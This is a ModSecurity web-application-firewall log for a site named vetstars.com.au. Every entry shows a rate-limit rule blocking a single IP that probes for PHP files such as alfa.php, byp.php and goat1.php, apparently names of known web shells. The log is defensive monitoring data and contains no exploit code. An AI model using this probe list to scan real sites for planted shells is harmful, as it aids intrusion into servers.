[Sun Dec 28 19:07:34.131710 2025] [:error] [pid 42378:tid 42400] [client 4.196.149.150:15289] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aVEPdjgtcN-KHAjWrX8OYAAAANQ"]
[Sun Dec 28 19:07:34.286437 2025] [:error] [pid 42378:tid 42394] [client 4.196.149.150:15344] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aVEPdjgtcN-KHAjWrX8OYwAAAM4"]
[Sun Dec 28 19:07:34.329940 2025] [:error] [pid 42378:tid 42395] [client 4.196.149.150:15215] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aVEPdjgtcN-KHAjWrX8OZAAAAM8"]
[Sun Dec 28 19:07:34.371768 2025] [:error] [pid 42378:tid 42399] [client 4.196.149.150:15247] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aVEPdjgtcN-KHAjWrX8OZQAAANM"]
[Sun Dec 28 19:07:34.416519 2025] [:error] [pid 29437:tid 29481] [client 4.196.149.150:15311] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aVEPdhhDotAbVk6pZLe1yQAAAc8"]
[Sun Dec 28 19:07:34.457892 2025] [:error] [pid 42292:tid 42301] [client 4.196.149.150:15275] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/case.php"] [unique_id "aVEPdpyOrM_vaFx1osY_cwAAAAU"]
[Sun Dec 28 19:07:34.546253 2025] [:error] [pid 42378:tid 42388] [client 4.196.149.150:15178] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aVEPdjgtcN-KHAjWrX8OZgAAAMg"]
[Sun Dec 28 19:07:34.657985 2025] [:error] [pid 29436:tid 29440] [client 4.196.149.150:15242] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aVEPdrchzOOtNL9VPNLdJgAAAYE"]
[Sun Dec 28 19:07:34.704852 2025] [:error] [pid 42292:tid 42296] [client 4.196.149.150:15253] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aVEPdpyOrM_vaFx1osY_dAAAAAA"]
[Sun Dec 28 19:07:34.774353 2025] [:error] [pid 42292:tid 42313] [client 4.196.149.150:17760] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aVEPdpyOrM_vaFx1osY_dgAAABE"]
[Sun Dec 28 19:07:34.852542 2025] [:error] [pid 42378:tid 42383] [client 4.196.149.150:15294] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aVEPdjgtcN-KHAjWrX8OZwAAAMM"]
[Sun Dec 28 19:07:34.991861 2025] [:error] [pid 42292:tid 42306] [client 4.196.149.150:17772] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aVEPdpyOrM_vaFx1osY_dwAAAAo"]
[Sun Dec 28 19:07:35.137794 2025] [:error] [pid 29437:tid 29470] [client 4.196.149.150:17782] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aVEPdxhDotAbVk6pZLe1zQAAAcQ"]
[Sun Dec 28 19:07:35.224033 2025] [:error] [pid 42292:tid 42308] [client 4.196.149.150:15104] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ios.php"] [unique_id "aVEPd5yOrM_vaFx1osY_eAAAAAw"]
[Sun Dec 28 19:07:35.664678 2025] [:error] [pid 42293:tid 42346] [client 4.196.149.150:15233] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVEPd8vc9B-5cwN385LYVQAAAFc"]
[Sun Dec 28 19:07:36.392050 2025] [:error] [pid 42378:tid 42392] [client 4.196.149.150:15352] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVEPeDgtcN-KHAjWrX8OaQAAAMw"]
[Sun Dec 28 19:07:37.521463 2025] [:error] [pid 42378:tid 42398] [client 4.196.149.150:15173] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVEPeTgtcN-KHAjWrX8OagAAANI"]
[Sun Dec 28 19:07:38.447625 2025] [:error] [pid 43789:tid 43798] [client 4.196.149.150:15237] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aVEPega-tUppni4CcCYnTgAAAQc"]
[Sun Dec 28 19:07:39.102943 2025] [:error] [pid 43789:tid 43815] [client 4.196.149.150:15232] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVEPewa-tUppni4CcCYnUAAAARg"]
[Sun Dec 28 19:07:40.336106 2025] [:error] [pid 42293:tid 42326] [client 4.196.149.150:15272] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVEPfMvc9B-5cwN385LYYAAAAEM"]
[Sun Dec 28 19:07:41.148674 2025] [:error] [pid 42293:tid 42325] [client 4.196.149.150:15340] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVEPfcvc9B-5cwN385LYZAAAAEI"]
[Sun Dec 28 19:07:42.221140 2025] [:error] [pid 42378:tid 42401] [client 4.196.149.150:15257] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aVEPfjgtcN-KHAjWrX8ObQAAANU"]
[Sun Dec 28 19:07:43.184912 2025] [:error] [pid 42293:tid 42340] [client 4.196.149.150:15174] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVEPf8vc9B-5cwN385LYbQAAAFE"]
[Sun Dec 28 19:07:44.222105 2025] [:error] [pid 42292:tid 42316] [client 4.196.149.150:15265] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVEPgJyOrM_vaFx1osY_gAAAABQ"]
[Sun Dec 28 19:07:44.659413 2025] [:error] [pid 29436:tid 29451] [client 4.196.149.150:15214] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVEPgLchzOOtNL9VPNLdKwAAAYw"]
[Sun Dec 28 19:07:44.761505 2025] [:error] [pid 42294:tid 42362] [client 4.196.149.150:15266] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aVEPgNTE5kYcYCOzl9GztQAAAIw"]
[Sun Dec 28 19:07:44.869293 2025] [:error] [pid 42293:tid 42345] [client 4.196.149.150:15254] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVEPgMvc9B-5cwN385LYcAAAAFY"]
[Sun Dec 28 19:07:44.985677 2025] [:error] [pid 29437:tid 29478] [client 4.196.149.150:15108] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVEPgBhDotAbVk6pZLe13QAAAcw"]
[Sun Dec 28 19:07:45.043530 2025] [:error] [pid 42378:tid 42403] [client 4.196.149.150:17745] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVEPgTgtcN-KHAjWrX8ObgAAANc"]
[Sun Dec 28 19:07:45.110472 2025] [:error] [pid 42293:tid 42325] [client 4.196.149.150:15239] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVEPgcvc9B-5cwN385LYcQAAAEI"]
[Sun Dec 28 19:07:45.218136 2025] [:error] [pid 43789:tid 43808] [client 4.196.149.150:15321] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aVEPgQa-tUppni4CcCYnVQAAARE"]
[Sun Dec 28 19:07:45.301397 2025] [:error] [pid 43789:tid 43801] [client 4.196.149.150:15256] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aVEPgQa-tUppni4CcCYnVgAAAQo"]
[Sun Dec 28 19:07:45.401986 2025] [:error] [pid 42293:tid 42346] [client 4.196.149.150:15171] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aVEPgcvc9B-5cwN385LYcwAAAFc"]
[Sun Dec 28 19:07:45.476314 2025] [:error] [pid 42293:tid 42332] [client 4.196.149.150:15337] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp.php"] [unique_id "aVEPgcvc9B-5cwN385LYdQAAAEk"]
[Sun Dec 28 19:07:45.795719 2025] [:error] [pid 42293:tid 42343] [client 4.196.149.150:15197] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aVEPgcvc9B-5cwN385LYdwAAAFQ"]
[Sun Dec 28 19:07:45.965217 2025] [:error] [pid 29388:tid 29416] [client 4.196.149.150:15203] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aVEPgdoLv2L2zI_SpdXS3gAAAVQ"]
[Sun Dec 28 19:07:46.174977 2025] [:error] [pid 42378:tid 42397] [client 4.196.149.150:15279] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aVEPgjgtcN-KHAjWrX8ObwAAANE"]
[Sun Dec 28 19:07:46.801592 2025] [:error] [pid 29437:tid 29487] [client 4.196.149.150:15260] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aVEPghhDotAbVk6pZLe13gAAAdU"]
[Sun Dec 28 19:07:46.910334 2025] [:error] [pid 29388:tid 29413] [client 4.196.149.150:15229] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aVEPgtoLv2L2zI_SpdXS4QAAAVE"]
[Sun Dec 28 19:07:47.017035 2025] [:error] [pid 43789:tid 43797] [client 4.196.149.150:15148] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aVEPgwa-tUppni4CcCYnWQAAAQY"]
[Sun Dec 28 19:07:47.071538 2025] [:error] [pid 29388:tid 29405] [client 4.196.149.150:15207] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aVEPg9oLv2L2zI_SpdXS4wAAAUk"]
[Sun Dec 28 19:07:47.249473 2025] [:error] [pid 29388:tid 29410] [client 4.196.149.150:15358] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f.php"] [unique_id "aVEPg9oLv2L2zI_SpdXS5QAAAU4"]
[Sun Dec 28 19:07:48.038789 2025] [:error] [pid 42292:tid 42301] [client 4.196.149.150:15192] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aVEPhJyOrM_vaFx1osY_gwAAAAU"]
[Sun Dec 28 19:07:48.246042 2025] [:error] [pid 42293:tid 42339] [client 4.196.149.150:15204] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aVEPhMvc9B-5cwN385LYewAAAFA"]
[Sun Dec 28 19:07:48.360270 2025] [:error] [pid 42293:tid 42333] [client 4.196.149.150:15354] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aVEPhMvc9B-5cwN385LYfQAAAEo"]
[Sun Dec 28 19:07:48.889864 2025] [:error] [pid 42293:tid 42346] [client 4.196.149.150:15176] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/max.php"] [unique_id "aVEPhMvc9B-5cwN385LYfgAAAFc"]
[Sun Dec 28 19:07:49.556784 2025] [:error] [pid 42293:tid 42343] [client 4.196.149.150:15250] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aVEPhcvc9B-5cwN385LYggAAAFQ"]
[Sun Dec 28 19:07:50.004351 2025] [:error] [pid 29388:tid 29401] [client 4.196.149.150:15290] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aVEPhtoLv2L2zI_SpdXS9AAAAUU"]
[Sun Dec 28 19:07:50.147340 2025] [:error] [pid 42292:tid 42312] [client 4.196.149.150:15168] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aVEPhpyOrM_vaFx1osY_hQAAABA"]
[Sun Dec 28 19:07:50.428221 2025] [:error] [pid 42292:tid 42313] [client 4.196.149.150:15210] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aVEPhpyOrM_vaFx1osY_hgAAABE"]
[Sun Dec 28 19:07:50.742272 2025] [:error] [pid 42292:tid 42306] [client 4.196.149.150:15221] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVEPhpyOrM_vaFx1osY_hwAAAAo"]
[Sun Dec 28 19:07:50.872501 2025] [:error] [pid 29388:tid 29408] [client 4.196.149.150:15225] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVEPhtoLv2L2zI_SpdXS-QAAAUw"]
[Sun Dec 28 19:07:51.046365 2025] [:error] [pid 42292:tid 42308] [client 4.196.149.150:17730] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVEPh5yOrM_vaFx1osY_iAAAAAw"]
[Sun Dec 28 19:07:51.705767 2025] [:error] [pid 29436:tid 29442] [client 4.196.149.150:15205] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVEPh7chzOOtNL9VPNLdLAAAAYM"]
[Sun Dec 28 19:07:52.749345 2025] [:error] [pid 29437:tid 29490] [client 4.196.149.150:15180] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aVEPiBhDotAbVk6pZLe14gAAAdg"]
[Sun Dec 28 19:07:53.436593 2025] [:error] [pid 29436:tid 29463] [client 4.196.149.150:15212] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aVEPibchzOOtNL9VPNLdLgAAAZg"]
[Sun Dec 28 19:07:54.115778 2025] [:error] [pid 29388:tid 29401] [client 4.196.149.150:15359] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "aVEPitoLv2L2zI_SpdXTAwAAAUU"]
